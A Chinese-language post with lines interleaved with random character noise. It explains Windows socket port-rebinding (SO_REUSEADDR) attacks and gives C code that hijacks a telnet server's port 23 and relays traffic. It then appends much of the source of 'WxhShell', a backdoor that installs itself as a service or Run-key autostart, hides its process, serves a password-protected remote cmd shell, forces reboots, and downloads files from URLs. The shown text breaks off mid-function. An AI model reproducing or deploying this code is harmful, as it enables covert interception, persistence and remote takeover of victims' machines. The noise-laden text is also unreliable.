在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
a$Lry?pb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=cy;{2S'p LGxQ>f[V saddr.sin_family = AF_INET;
?DAW~+,!7o P'4oI0Bw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
jU 4*fzsZI o6@Hj+,, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kR
C0iTV'I n+5X*~D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ol;}+?[Q k\:f2%!! 这意味着什么?意味着可以进行如下的攻击:
1|4'3^3 |]qwD,eiH, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1[QH68 $V X<UK$|s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
TEgmE9^`)7 B3p[A k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j Hd <* %h"+J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[+=h[DC }v0IzGKs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0baq696<F aL wd#/! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Dxc`K?M S-FoyID\H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>[4;K&$B ? WD|a( #include
e/;1<5tfj #include
4o: #include
^1&xt(G #include
8}Pd- .se DWORD WINAPI ClientThread(LPVOID lpParam);
(qE*z int main()
4:!KtpR[O {
{H$F!}a WORD wVersionRequested;
!fFmQ\|)4S DWORD ret;
"}uPz4 WSADATA wsaData;
!Ua74C BOOL val;
R~-r8dWcw SOCKADDR_IN saddr;
{.W$<y (j7 SOCKADDR_IN scaddr;
F8q &v" int err;
O*af`J{ SOCKET s;
-j%!p^2j9 SOCKET sc;
X#s:C=q1 int caddsize;
!}sYPz]7! HANDLE mt;
)N{Qpbh DWORD tid;
<{C oM wVersionRequested = MAKEWORD( 2, 2 );
X
X>Y]P
a err = WSAStartup( wVersionRequested, &wsaData );
8aCa(Xu(H if ( err != 0 ) {
y{Wtm7fnA printf("error!WSAStartup failed!\n");
i!/V wGg return -1;
F,CQAgx }
;SBM7fwRk saddr.sin_family = AF_INET;
:#!m(s` c;,jb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*iSsGb\M% RH,(8 .&>r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o;o
ji saddr.sin_port = htons(23);
#]G$o?@Y=^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)J/,-p {
0 T!_;IQ printf("error!socket failed!\n");
u7!X#< return -1;
axOdGv5 }
P;>8S:8
val = TRUE;
V Iof4?i //SO_REUSEADDR选项就是可以实现端口重绑定的
C\7qAR\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_oxc~v\< {
<Bc J;X/ printf("error!setsockopt failed!\n");
mw<LNnT{8 return -1;
5S'89 r3m }
@DT${,.49 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
89F^I"Im( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dMsX}=EI< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'?+q3lps Aa*UV6(v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M*)}F {
B7qm;(?X& ret=GetLastError();
wi]|"\ printf("error!bind failed!\n");
|H&2[B"l return -1;
g/+P]c6/ }
o.5w>l!9K listen(s,2);
sL;qC\S while(1)
"Vp+e%cqG {
Bb];qYuCO caddsize = sizeof(scaddr);
.bbl-a/
3 //接受连接请求
-yt[0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\AOVdnM: if(sc!=INVALID_SOCKET)
vJkY {
4{rwNBj( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Pj_2y)^? if(mt==NULL)
>JVZ@
PV
H {
%&bO+$H3 printf("Thread Creat Failed!\n");
^8dJJ* break;
D@tuu]%p }
:)+|q }
^9eJ)12pK CloseHandle(mt);
CuPZ0 }
ysA~Nq@ closesocket(s);
$b;9oST WSACleanup();
H kDT14 `& return 0;
r8XY"< }
50Z$3T DWORD WINAPI ClientThread(LPVOID lpParam)
n~\"W {
a4FvQH#j SOCKET ss = (SOCKET)lpParam;
heiIb|z SOCKET sc;
.63:G< unsigned char buf[4096];
5haJPWG|' SOCKADDR_IN saddr;
xMDx<sk long num;
d^X;XVAvP DWORD val;
h^ ex? DWORD ret;
D0,U2d //如果是隐藏端口应用的话,可以在此处加一些判断
hVRpk0IJDK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#KZ6S9>@ saddr.sin_family = AF_INET;
RKaCX: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
gW'aK>*c saddr.sin_port = htons(23);
9J_lxy} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;X6FhQ;{*0 {
I,D24W4l printf("error!socket failed!\n");
W[A;VOj0$ return -1;
o
Y_(UIa }
O<l_2?S1 val = 100;
M(o?I} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l)`bm/k]V {
j,QeL ret = GetLastError();
~a&s5E
{ return -1;
]O s!=rt }
*+h2,Z('a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|cL'4I>b9 {
tUl#sqN_{ ret = GetLastError();
F*rU=cu return -1;
LBT{I)-K }
R[5*]$(b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<jXXj[M2 {
zghUwW |K printf("error!socket connect failed!\n");
h9c54Ux closesocket(sc);
zh)qo closesocket(ss);
N~L3
9 return -1;
6rMGlzuRo }
Be"D0=< while(1)
=mYY8c Yl {
oqOv"yLJ: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|lAu6d
! //如果是嗅探内容的话,可以再此处进行内容分析和记录
r>4.{\C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
jgbUZP4J> num = recv(ss,buf,4096,0);
<*0^X%Vf\ if(num>0)
,tv
P"@d send(sc,buf,num,0);
fk,[`n+ else if(num==0)
.BJ;} break;
ac6Lv}w_ num = recv(sc,buf,4096,0);
=ZjF5,@ if(num>0)
U'@eUY(Ov$ send(ss,buf,num,0);
y
?]GOQI else if(num==0)
vK)^;T ; break;
c?5e| dZz }
xJrRJwL closesocket(ss);
K.G}*uy closesocket(sc);
F`-|@k return 0 ;
w;}pebL: }
;1^_.3 eZR{M\Q wQJY,|. ==========================================================
Y s[J xP 74ma
下边附上一个代码,,WXhSHELL
ae( o:G =xScHy{$ ==========================================================
B ?96d'A Alaq![7MDP #include "stdafx.h"
Se+sgw_" Rok`}t #include <stdio.h>
Wfgs[ #include <string.h>
4ihv|%@ #include <windows.h>
udM<jY]5p #include <winsock2.h>
XZhuV< #include <winsvc.h>
iZ2|/hnw #include <urlmon.h>
6
?FF!x =FQ]eb* #pragma comment (lib, "Ws2_32.lib")
!mH2IjcL #pragma comment (lib, "urlmon.lib")
>Du5B&41 C4e3Itc9X #define MAX_USER 100 // 最大客户端连接数
$EHAHNL?Lx #define BUF_SOCK 200 // sock buffer
d-nqV5 #define KEY_BUFF 255 // 输入 buffer
W*iPseXq x0B|CO #define REBOOT 0 // 重启
WgPpW!` #define SHUTDOWN 1 // 关机
K4NB# 2i`N26On #define DEF_PORT 5000 // 监听端口
H5uWI Z5[TmVU #define REG_LEN 16 // 注册表键长度
<&E3QeK #define SVC_LEN 80 // NT服务名长度
K*jV=lG 7sZVN // 从dll定义API
F`g oYwA% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J(F]?H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?3jOE4~aHr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v`evuJ\3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YqwDvJWX gE'b.04Y9i // wxhshell配置信息
.w2X24Mmb struct WSCFG {
_!6~o> int ws_port; // 监听端口
OnFx8r:q@% char ws_passstr[REG_LEN]; // 口令
V}(snG, int ws_autoins; // 安装标记, 1=yes 0=no
4HEp}Y"}V char ws_regname[REG_LEN]; // 注册表键名
VE1 B"s</ char ws_svcname[REG_LEN]; // 服务名
RGh`=D/yE char ws_svcdisp[SVC_LEN]; // 服务显示名
=o]V!MW char ws_svcdesc[SVC_LEN]; // 服务描述信息
fM,U| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/Hb'3,jN int ws_downexe; // 下载执行标记, 1=yes 0=no
g-j`Ex% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
hyv*+FV; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v[WbQ5AND )$V}tr! };
5#/"0:2 9Y&,dBj+ // default Wxhshell configuration
a.QF`J4"' struct WSCFG wscfg={DEF_PORT,
zbn0)JO "xuhuanlingzhe",
!^BXai/ 1,
[Dd?c,5AD "Wxhshell",
95jJ"4 a+ "Wxhshell",
ku q3QW< "WxhShell Service",
o!EPF-: "Wrsky Windows CmdShell Service",
}
_Yk.@J5 "Please Input Your Password: ",
{tn%HK"> 1,
.6S]\dp7~ "
http://www.wrsky.com/wxhshell.exe",
Ix"hl0Kh "Wxhshell.exe"
5&uS700 };
C&\vVNV;9 #2F 6} // 消息定义模块
V<#E!MG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"
-Ie char *msg_ws_prompt="\n\r? for help\n\r#>";
PR&D67:Jy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
l<](8oc.
w char *msg_ws_ext="\n\rExit.";
R/yOy^< char *msg_ws_end="\n\rQuit.";
t;Rdrk char *msg_ws_boot="\n\rReboot...";
=uYz4IDB char *msg_ws_poff="\n\rShutdown...";
'k9?n)<DW char *msg_ws_down="\n\rSave to ";
~vCfMV[F S[TJ{L( char *msg_ws_err="\n\rErr!";
4HG@moYn@ char *msg_ws_ok="\n\rOK!";
f[@M 0P5!fXs* char ExeFile[MAX_PATH];
9}4EW4
int nUser = 0;
)6S;w7 HANDLE handles[MAX_USER];
"dKYJ&$ int OsIsNt;
$J~~.PUXQ +Oae3VFf; SERVICE_STATUS serviceStatus;
>gt_C' SERVICE_STATUS_HANDLE hServiceStatusHandle;
9"@P.8_ jJpSn[{ // 函数声明
r "^{?0 int Install(void);
I92c!`{ int Uninstall(void);
>PsP y. int DownloadFile(char *sURL, SOCKET wsh);
a?+Ni|+ int Boot(int flag);
!f(aWrw7e6 void HideProc(void);
S;o U'KOY int GetOsVer(void);
)$#r6fQO int Wxhshell(SOCKET wsl);
dh7PpuN{ void TalkWithClient(void *cs);
!U,^+"l'GP int CmdShell(SOCKET sock);
0I.9m[<Fc int StartFromService(void);
3X+uJb2 int StartWxhshell(LPSTR lpCmdLine);
!Q,A#N( 0d-w<lg9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b}G4eXkuj VOID WINAPI NTServiceHandler( DWORD fdwControl );
a<.7q1F >.D0McQg // 数据结构和表定义
;w(]z SERVICE_TABLE_ENTRY DispatchTable[] =
<JA`e+Bi {
hIj[#M&6 {wscfg.ws_svcname, NTServiceMain},
L`i#yXR {NULL, NULL}
+s6wF{ };
$ {$XJs4 2$D
*~~ // 自我安装
iL-I#"qT, int Install(void)
e JMD8# {
E)Z$7;N0x char svExeFile[MAX_PATH];
)e)@_0 HKEY key;
K8dlECy strcpy(svExeFile,ExeFile);
ZCQ7xQD Jmb [d\ /D // 如果是win9x系统,修改注册表设为自启动
q%4l!gzF3 if(!OsIsNt) {
LE_1H> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hT&,5zaWdv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L3Leb%,! RegCloseKey(key);
8gap _qTo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%6`{KT? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r9Ux=W\ RegCloseKey(key);
2Yx6.e< return 0;
`_]Z#X&&h }
\/jr0): }
k_9tz}Z }
p[(VhbN else {
(~oUd4 ]fXMp*LvY // 如果是NT以上系统,安装为系统服务
rK*s/mX < SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+#5nk,1c> if (schSCManager!=0)
hFw\uETu {
_nR8L`l*z SC_HANDLE schService = CreateService
Na^1dn (
khl(9R4a schSCManager,
2,nKbE9* wscfg.ws_svcname,
BoB2q( wscfg.ws_svcdisp,
D[)")xiG SERVICE_ALL_ACCESS,
4z-sR/ d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3G9YpA_}X SERVICE_AUTO_START,
j%iz> SERVICE_ERROR_NORMAL,
dbkccO}WB svExeFile,
7N^9D
H{` NULL,
e~r%8.Wm NULL,
%zH NX4 NULL,
&nk6_{6
c NULL,
#Zpp*S55 NULL
8<$6ufvOv );
Wh%qvV6] if (schService!=0)
SGW2' {
{&G7 Xa CloseServiceHandle(schService);
UXvk5t1 CloseServiceHandle(schSCManager);
%T*lcg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e{/(NtKf strcat(svExeFile,wscfg.ws_svcname);
p.q:vI$J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B]< 6\Z?= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nnmn@t(%r RegCloseKey(key);
sXI_!)H return 0;
C~vU }
pez^]I }
3A k,M-Jp CloseServiceHandle(schSCManager);
~V?O%1)k?\ }
A)En25,X }
>_U)=q -6MgC9] return 1;
4-[L^1%S[ }
8WU
UE=p @EzSosmF // 自我卸载
)t{oyBT int Uninstall(void)
chsjY]b {
P}o:WI4.cB HKEY key;
GZ\;M6{oh p_Fc:%j> if(!OsIsNt) {
SN|EWe^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(yE?)s RegDeleteValue(key,wscfg.ws_regname);
XOO!jnQu RegCloseKey(key);
St&xe_:^< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~.M{n&NM RegDeleteValue(key,wscfg.ws_regname);
9Y1&SEsNX RegCloseKey(key);
QthHQA return 0;
y3$i?}?A }
80cBLGG }
q{ov62t` }
{*H&NI else {
@L^2VVWk^ ^ Sx0t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
< pI2} if (schSCManager!=0)
%'j)~ {
s
z/7cLo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
JwbC3t):@ if (schService!=0)
x^}kG[s {
i]*Wt8~! if(DeleteService(schService)!=0) {
(7x5 CloseServiceHandle(schService);
,v:m CloseServiceHandle(schSCManager);
,FX;-nP% return 0;
J_R54Y~vu }
m8H|cQ@Uu CloseServiceHandle(schService);
xBd# }
oD_je~b) CloseServiceHandle(schSCManager);
F"j0;}+N }
XF(I$Mxl6 }
0F sz aQwc Py|1R return 1;
bC?uyo" }
8qn1?Lb $<2r;'?0D // 从指定url下载文件
%\=5,9A\ int DownloadFile(char *sURL, SOCKET wsh)
8Cz_LyL {
QRXsLdf$$ HRESULT hr;
^ng#J\
char seps[]= "/";
zcD&xoL\H char *token;
./mh9ax char *file;
bT}P":*y char myURL[MAX_PATH];
CQ2{5 char myFILE[MAX_PATH];
EtJyI&7VK *7.!"rb8A strcpy(myURL,sURL);
Gvv~P3Dm token=strtok(myURL,seps);
(E59)z - while(token!=NULL)
3N(s)N_P M {
p>=YPi/d file=token;
?8. $A2(Xw token=strtok(NULL,seps);
j[gX"PdQ }
lDO9GNz$ #_y#sDfzh GetCurrentDirectory(MAX_PATH,myFILE);
d/Xbk%`p strcat(myFILE, "\\");
cu(2BDfiL strcat(myFILE, file);
%TxFdF{A send(wsh,myFILE,strlen(myFILE),0);
2hAu~#X send(wsh,"...",3,0);
`h_,I R< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>>=lh if(hr==S_OK)
}N(-e$88 return 0;
E"bYl3 else
mv%fX2. return 1;
lz@fXaZM ZO{uG(u }
-EFtk\/ !Sfy'v. // 系统电源模块
R!;tF|] int Boot(int flag)
K>6#MI {
{&8-OoH ~ HANDLE hToken;
esx<feP)\ TOKEN_PRIVILEGES tkp;
b gGd CE-ySIa if(OsIsNt) {
br+{23&1R# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'YQ"Lf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{NXc<0a( tkp.PrivilegeCount = 1;
v'Gqdd-#) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9kL'"0c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ra<mdteZT if(flag==REBOOT) {
FOgF'!K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}UZ$<81= return 0;
6Lz{/l8 }
-X5rGp++ else {
dG}fpQ3& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JLm0[1Lzd return 0;
OEy'8O$ }
lBh|+KN }
vC[)/w else {
#sdW3m_% if(flag==REBOOT) {
g4!zH};n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_,_>B8 return 0;
o0&jel1a }
|Y|{9Osus else {
ym:^Y-^iV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
k1i*1Tc return 0;
pbKDtqSnz }
lb5Y$ZC }
|[(4h =\`g<0 return 1;
0*YLFqN }
?Q;8D@
N_Cu%HP // win9x进程隐藏模块
{uh]b(}s) void HideProc(void)
0DhF3] {
A;m)/@ ViQxOUE HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/Z HuT=j1 if ( hKernel != NULL )
l;}D| 6+_W {
)VQ:L:1t( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Ox.&tW%@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d$8rzd FreeLibrary(hKernel);
;!DUN zl }
E9HA8 P\KP )bkC return;
j!GJ$yd=-6 }
(h7 rW3 HiCNs;t // 获取操作系统版本
o{pQDI {R int GetOsVer(void)
96T.xT>& {
HE(|x1C)j OSVERSIONINFO winfo;
dN\Byl(6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P;bl+a'gu GetVersionEx(&winfo);
BRYhL|d~. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5_ -YF~ return 1;
{\jh?P| else
-q|K\>tgU return 0;
Fx2
KRxk }
CdlE"Ye =HmV0 // 客户端句柄模块
gN$.2+: int Wxhshell(SOCKET wsl)
>Jt,TMMlt {
6|wiZw SOCKET wsh;
/1ooOq] struct sockaddr_in client;
>'wl)j$ DWORD myID;
eWS[|'dl KhAj`vOzK while(nUser<MAX_USER)
Pe8WBr;` {
z kQV$n{ int nSize=sizeof(client);
)Q9m,/F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_Sy-&}c+
+ if(wsh==INVALID_SOCKET) return 1;
@B
%m,Mx m]}
E0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Or=
[2@Wg if(handles[nUser]==0)
\~d|MP}"F: closesocket(wsh);
~4y&]:I else
``j..v, nUser++;
D% }?l }
s$css{(ek WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,@jRe&6 :TJv<NZi' return 0;
<8yzBp4gZ }
rlk0t159 n o`c[XY // 关闭 socket
ty[bIaQi void CloseIt(SOCKET wsh)
asb-syqU {
i`)bn1Xm closesocket(wsh);
Ls )y.u nUser--;
l-xKfp` ExitThread(0);
}tv% }
[>QV^2'Z W&ya_iP~C // 客户端请求句柄
!c[(#g void TalkWithClient(void *cs)
L&ySXc= {
>B/ jTn5= 5n!
V^ ! SOCKET wsh=(SOCKET)cs;
3US}(' char pwd[SVC_LEN];
S%<RV6{aiM char cmd[KEY_BUFF];
\.y|=Ql_u char chr[1];
LHU^%;L int i,j;
jm0J)Z_"nr *#-X0}'s while (nUser < MAX_USER) {
DKgwi'R l_Gv dD if(wscfg.ws_passstr) {
dOh'9kk3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8rwkux > //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=G3O7\KmH //ZeroMemory(pwd,KEY_BUFF);
S453oG" i=0;
l?v`kAMR while(i<SVC_LEN) {
tgK$}#.* uSCF;y=1g, // 设置超时
QEK,mc3 fd_set FdRead;
{Ak{
ct\t struct timeval TimeOut;
t=syo-> FD_ZERO(&FdRead);
[T#5$J FD_SET(wsh,&FdRead);
rTYDa3 TimeOut.tv_sec=8;
R}njFQvS) TimeOut.tv_usec=0;
QLrFAV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Wc [@, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a)=WDRk Ac;rMwXk# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qOYCQ pwd
=chr[0]; rStfluPL
if(chr[0]==0xd || chr[0]==0xa) { vKN"o* q
pwd=0; 3-#|6khqt
break; O9*cV3}H
} ss63/
i++; O4@sN=o
} hNs970i
D,%R[F?5O
// 如果是非法用户,关闭 socket g\;AU2?p7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e\x=4i
} <6^MVaD
{WUW.(^]G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y>wrm:b-O
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >ch{u{i6
v9R#=m/=
while(1) { Fq/?0B8
wEL$QOu$
ZeroMemory(cmd,KEY_BUFF); So; ;
YY-{&+,
// 自动支持客户端 telnet标准 nD6mLNi%a
j=0; CY;ML6c@
while(j<KEY_BUFF) { G6K;3B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (,1}P
cmd[j]=chr[0]; oR (hL4Dc
if(chr[0]==0xa || chr[0]==0xd) { v(D{_
cmd[j]=0; AujvKQ(
break; Y,EReamp
} dd1m~Gm
j++; W$LaXytmak
} U;Z6o1G
dK'?<w$
// 下载文件 V&`\ s5Q
if(strstr(cmd,"http://")) { RN\4y{@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 54~`8f
if(DownloadFile(cmd,wsh)) 4]9+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB"r<?n<
else &os9K)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @s!9 T
} Kn3qq
else { {N1Ss|6
wuE] ju<
switch(cmd[0]) { 02E-|p;
"&?F6Pi
// 帮助 3Tze`Q 9
case '?': { y~'F9E!i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ppr95Y]^
break; 2KVMQH`B9
} L4`bGZl55
// 安装 (pM5B8U
case 'i': { UMR0S5`}
if(Install()) a@ `1 5O:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`'? 2
else fkE4[X7f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p\I,P2on
break; (dD+?ZOO
} #(&!^X3
// 卸载 usEdp
case 'r': { gQaBQq9
if(Uninstall()) 9EzXf+f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vmdu9"H
else "jBrPCB
8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'qcLK>E
break; nEu,1
} !|6M ,Rk_
// 显示 wxhshell 所在路径 yO Ed8
case 'p': { MGpP'G:v
char svExeFile[MAX_PATH]; D /ysS$!{
strcpy(svExeFile,"\n\r"); )6U&^9=
strcat(svExeFile,ExeFile); ;okFm
send(wsh,svExeFile,strlen(svExeFile),0); ~]f+
break; KdU!wsKfG
} &!>
)EHGV
// 重启 ,l`4)@{G
case 'b': { x95[*[
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t mAj
if(Boot(REBOOT)) g a|RW0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3YT>3f!\
else {
'o=`1I
closesocket(wsh); ;u`zZb=,[
ExitThread(0); Nd!0\ "AE
} 4_qd5K+n"
break; ; (I(TG
} Ut:>'TwG
// 关机 lc1?Vd$
case 'd': { l/9V59Fv9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *olV Y/'O
if(Boot(SHUTDOWN)) gyi<ot;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;=\vm"I?
else { LWgYGXWT"
closesocket(wsh); mU.(aLHW
ExitThread(0); \|
qr&(PG
} \49LgN@\
break; R3+y*<<e
} 2qV.`d
// 获取shell ',GWH:B
case 's': { Z)E[Bv=
CmdShell(wsh); 6 ,jp-`
closesocket(wsh); u,AZMjlF
ExitThread(0); oE:9}]N_
break; bOR1V\Jr$q
} I3Gz,y+
// 退出 mlC_E)Ed5
case 'x': { IG@.W sM_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7A0D[?^xe
CloseIt(wsh); m(Ghe2T:
break; XBQ]A89G
} ,i KEIxA!
// 离开 dXr=&@1
case 'q': { r;:5P%:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !DsKa6Zj
closesocket(wsh); }^r=(
WSACleanup(); xb/L AlJ
exit(1); E__^>=
break; r [; .1,(
} F-i`GMWC
} 8W' ,T
} ["l1\YCi
}{"a}zOl
// 提示信息 -={Z::}S"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0I6[`*|SX
} ?kBi9^)N4
} ygt7;};!
cQ kH4>C~
return; v:otR%yt
} 72rnMHq
xj6ht/qq
// shell模块句柄 'iy &%?
int CmdShell(SOCKET sock) 3I0=^>A
{ ,G2]3
3Z
STARTUPINFO si; ^R\et.W`s
ZeroMemory(&si,sizeof(si)); !OwRx5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :4 9ttJl
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AKWM7fI
PROCESS_INFORMATION ProcessInfo; e}|UVoeH
char cmdline[]="cmd"; GilaON*pK.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U~{fbS3,
return 0; OsS5WY0H
} Z^t" !oY
H/!_D f
// 自身启动模式 .-(s`2
int StartFromService(void) 5jYZ+OB
{ Q5N;MpJ-
typedef struct ,PyA$Z
{ \EC=#E(
DWORD ExitStatus; )Fo1[:_B'
DWORD PebBaseAddress; 3X,SCG
DWORD AffinityMask; =?, dX
DWORD BasePriority; \s[/{3
